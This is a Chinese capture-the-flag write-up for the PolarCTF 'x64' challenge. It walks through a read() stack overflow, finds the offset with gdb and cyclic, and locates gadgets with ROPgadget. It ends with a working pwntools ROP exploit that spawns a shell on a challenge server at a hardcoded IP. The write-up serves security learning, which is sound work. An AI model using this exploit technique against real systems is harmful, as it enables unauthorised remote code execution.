【PolarCTF】x64

先检查下,发现是64位的程序

IDA分析程序

这里很明显read函数存在溢出

然后可以看到后面函数Shell

同时也可以找到/bin/sh字符串

这里我们可以通过IDA查找

攻击思路如下:

复制代码
填充垃圾数据

pop_rdi_ret将/bin/sh传递到rdi中

执行Shell函数

获得shell

gdb调试程序

将cyclic的字符输入到程序中,然后我们可以通过

复制代码
x rbp

或者

复制代码
info registers rbp

可以看到堆底里面的内容

通过计算可以看到距离rbp的距离为128(十进制)

128转为十六进制,可以看到就是0x80,和IDA分析的结果是一样的

因为还要覆盖返回地址,因此填充0x80个字节+0x8个字节

除了上面的方法找Shell函数地址、/bin/sh字符地址

还可以通过objdump查找shell函数地址

通过ROPgadget 查找可以传递给rdi的pop_ret,pop_rdi_ret的地址为0x4007e3

我们也可以使用ROPgadget来查找/bin/sh地址,可以看到/bin/sh的地址为0x601060

bin/sh的地址为0x601060

pop_rdi_ret的地址为0x4007e3

Shell函数的地址0x4006b6

payload如下

python 复制代码
from pwn import *

io = remote('1.95.36.136',2065)

system_addr = 0x4006b6

sh_addr = 0x601060

pop_rdi = 0x4007e3

padding = 0x80+0x8

payload = b'A'*padding
payload += p64(pop_rdi)
payload += p64(sh_addr)
payload += p64(system_addr)

io.sendline(payload)
io.interactive()
相关推荐
紫禁玄科10 小时前
公共WiFi流量安全全解析
网络·人工智能·web安全·网络安全·系统安全
执念WRD10 小时前
VulnTarget-C 渗透实战:外网入口到域控权限提升
网络·安全·web安全·网络安全
数据知道12 小时前
主机入侵检测(HIDS):OSSEC / Wazuh 部署与规则编写
安全·网络安全·docker
其实防守也摸鱼13 小时前
HackBar 工具完全指南:信息探测、漏洞验证与安全测试实战
开发语言·人工智能·学习·安全·网络安全·安全威胁分析·安全性测试
腾霄星月2 天前
内网横向移动全套实操重点知识总结
网络·安全·网络安全
数据知道2 天前
容器安全入门:Docker 逃逸原理与 5 个经典 CVE
安全·网络安全·docker·容器
紫禁玄科2 天前
网络安全科普:DDoS与DoS攻击完全指南
网络·web安全·网络安全·系统安全
紫禁玄科3 天前
勒索软件攻击深度解析
web安全·网络安全·系统安全
treesforest3 天前
IP定位技术在网络犯罪侦查中的应用与价值
网络·网络协议·tcp/ip·网络安全·ip归属地查询·反欺诈
笨鸟先飞,勤能补拙3 天前
AI 赋能网络安全:技术全景、成熟度评估与实战案例
人工智能·python·安全·web安全·网络安全·sqlite·github